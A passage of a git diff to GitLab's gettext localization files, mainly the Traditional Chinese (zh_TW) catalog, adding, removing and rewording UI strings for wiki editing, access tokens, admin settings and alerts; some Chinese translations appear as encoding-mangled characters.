msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -35887,6 +35686,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr "查看群組標籤"
@@ -35905,9 +35707,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -35941,6 +35740,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr "查看專案標籤"
@@ -36010,7 +35812,10 @@ msgstr "未知"
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36151,7 +35956,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36283,6 +36088,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36583,6 +36391,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36592,6 +36409,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36791,7 +36611,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -36812,6 +36632,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -36827,16 +36650,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -36851,10 +36674,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37124,6 +36953,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37163,9 +36995,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37343,21 +37172,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37421,9 +37247,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37583,12 +37406,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37616,18 +37433,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37640,12 +37451,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37715,12 +37520,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37805,6 +37616,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -37814,6 +37628,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -37905,6 +37722,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -37962,12 +37782,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -37992,6 +37821,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38010,9 +37842,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38314,6 +38143,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38395,6 +38227,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38472,9 +38307,6 @@ msgid "from %d job"
msgid_plural "from %d jobs"
msgstr[0] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -38858,6 +38690,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38894,9 +38729,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr "åœ¨ç¶²é  IDE 中開啟"
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -38957,7 +38789,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39038,7 +38870,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39101,6 +38936,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39379,6 +39217,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39481,6 +39322,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/zh_TW/gitlab.po b/locale/zh_TW/gitlab.po
index c73e9cfadc5..2c91e142457 100644
--- a/locale/zh_TW/gitlab.po
+++ b/locale/zh_TW/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: zh-TW\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:33\n"
+"PO-Revision-Date: 2021-07-01 21:16\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d 層"
@@ -358,6 +354,21 @@ msgstr "%{authorsName} 的話題"
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr "來自 %{name} 的 %{count} 個核准"
msgid "%{count} files touched"
msgstr "å·²é¸æ“‡ %{count} 個檔案"
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,11 +602,11 @@ msgstr "%{group_level_name} 群組ä¸å…許 %{level_name} 。"
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr "由於分å‰çš„æºé …ç›®å¯è¦‹æ€§è¼ƒä½Žï¼Œå› æ­¤ä¸å…許使用 %{level_name}。"
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
-msgstr "%{link_start}了解更多%{link_end} 關於角色權é™"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr "%{start} 到 %{end}"
msgid "%{state} epics"
msgstr "%{state} å²è©©"
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr "%{total} 開放議題權é‡"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr "%{usage_ping_link_start}了解更多%{usage_ping_link_end} 分享給 GitLab Inc. 的訊æ¯ã€‚"
-
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (無法åˆä½µ)"
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr "一個用於識別外部儲存請求的安全權æ–。"
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,14 +1654,14 @@ msgstr "傳入電å­éƒµä»¶æ¬Šæ–"
msgid "AccessTokens|It cannot be used to access any other data."
msgstr "無法用於存å–其它資料。"
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
-msgstr "請確ä¿è©²æ¬Šæ–的安全。任何æŒæœ‰è©²æ¬Šæ–的人,都å¯ä»¥ä»¥æ‚¨çš„身份來建立議題。如果權æ–洩露,您應該 %{reset_link_start}é‡è¨­%{reset_link_end}。"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "請確ä¿è©²æ¬Šæ–的安全。任何æŒæœ‰è©²æ¬Šæ–的人,都å¯ä»¥ä»¥ä½ çš„身份來建立議題。如果權æ–洩露,你應該 %{link_reset_it}。"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
-msgstr "請確ä¿è©²æ¬Šæ–的安全。任何æŒæœ‰è©²æ¬Šæ–的人,都å¯ä»¥ä»¥ä½ çš„身份來閱讀活動記錄ã€è­°é¡Œ RSS 動態或行事曆動態。如果權æ–洩露,你應該 %{link_reset_it} 。"
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
+msgstr ""
msgid "AccessTokens|Personal Access Tokens"
msgstr "個人存å–權æ–"
@@ -1678,17 +1678,17 @@ msgstr "您還å¯ä»¥ä½¿ç”¨å€‹äººå­˜å–權æ–é€éŽ HTTP 進行 Git 驗證。"
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr "您å¯ä»¥ç‚ºæ¯å€‹éœ€è¦å­˜å– GitLab API 的應用程å¼ç”Ÿæˆå€‹äººå­˜å–權æ–。"
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
-msgstr "當您的 RSS 閱讀器載入個人化的 RSS 動態,或是行事曆應用程å¼è¼‰å…¥å€‹äººåŒ–的行事曆時,動態權æ–用來驗證身份,且權æ–會在動態網å€ä¸­ã€‚"
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
+msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
-msgstr "當你使用電å­éƒµä»¶å»ºç«‹æ–°è­°é¡Œçš„時候,將使用傳入郵件權æ–進行驗證,該權æ–也包å«åœ¨å€‹äººå°ˆæ¡ˆæŒ‡å®šçš„é›»å­éƒµä»¶åœ°å€ä¸­ã€‚"
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
-msgstr "您的éœæ…‹ç‰©ä»¶æ¬Šæ–用來從外部儲存空間存å–éœæ…‹ç‰©ä»¶ï¼ˆä¾‹å¦‚:å°å­˜æª”ã€Blob 等等)時å°æ‚¨é€²è¡Œèº«ä»½é©—證。"
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
+msgstr ""
-msgid "AccessTokens|reset it"
-msgstr "é‡è¨­æ¬Šæ–"
+msgid "AccessTokens|reset this token"
+msgstr ""
msgid "AccessibilityReport|Learn more"
msgstr ""
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr "加入一般留言至 %{noteableDisplayName}。"
@@ -1816,6 +1819,9 @@ msgstr "加入一般留言至 %{noteable_name}。"
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr "在 wiki 中加入首é ï¼Œå…¶ä¸­åŒ…å«æœ‰é—œå°ˆæ¡ˆçš„資訊,GitLab 將在這裡顯示該首é ï¼Œè€Œä¸æ˜¯æ­¤è¨Šæ¯ã€‚"
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr "未指定使用者。"
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr "啟用新專案的共享執行器"
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr "環境變數é è¨­å—ä¿è­·"
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,20 +2263,23 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr "沒有強制性的æµæ°´ç·š"
+msgid "AdminSettings|Protect CI/CD variables by default"
+msgstr ""
+
msgid "AdminSettings|Required pipeline configuration"
msgstr "強制æµæ°´ç·šè¨­å®š"
msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
-msgstr "é¸æ“‡æµæ°´ç·šè¨­å®šæª”"
-
-msgid "AdminSettings|Select a template"
-msgstr "é¸æ“‡ç¯„本"
+msgid "AdminSettings|Select a CI/CD template"
+msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -2278,8 +2290,8 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
-msgstr "設定實體範åœè‡ªå‹•åŒ…å«çš„ %{link_start}æµæ°´ç·šè¨­å®š%{link_end}。此æµæ°´ç·šè¨­å®šå°‡åœ¨å°ˆæ¡ˆæœ¬èº«çš„設定後執行。"
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
+msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr "為æ¯å€‹å°ˆæ¡ˆçš„自動審閱應用程å¼åŠè‡ªå‹•éƒ¨ç½²éšŽæ®µï¼ŒæŒ‡å®šé è¨­ä½¿ç”¨çš„網域。"
@@ -2287,11 +2299,8 @@ msgstr "為æ¯å€‹å°ˆæ¡ˆçš„自動審閱應用程å¼åŠè‡ªå‹•éƒ¨ç½²éšŽæ®µï¼ŒæŒ‡å®š
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr "強制æµæ°´ç·šè¨­å®šå¯å¾žè¨­å®šçš„ %{link_start}實體範本庫%{link_end} 中的 %{code_start}gitlab-ci%{code_end} 目錄é¸æ“‡ï¼Œæˆ–使用 GitLab æ供的設定檔。"
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
-msgstr "建立新的環境變數時,它會被é è¨­ä¿è­·ã€‚"
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
+msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
msgstr ""
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr "所有群組和專案"
@@ -3281,9 +3308,6 @@ msgstr "Amazon EKS"
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr "Amazon EKS æ•´åˆè®“您能從 GitLab ç®¡ç† EKS å¢é›†ã€‚"
-msgid "Amazon Web Services"
-msgstr "Amazon 網路æœå‹™"
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr "切æ›é€šçŸ¥è¨‚閱時發生錯誤"
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr "更新議題權é‡æ™‚發生錯誤"
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr "啟用æœå‹™å°æ™‚發生錯誤。"
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr "å–å¾— %{branchId} 的檔案時發生錯誤"
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr "å–得專案時發生錯誤"
@@ -3656,9 +3683,6 @@ msgstr "更新留言時發生錯誤"
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
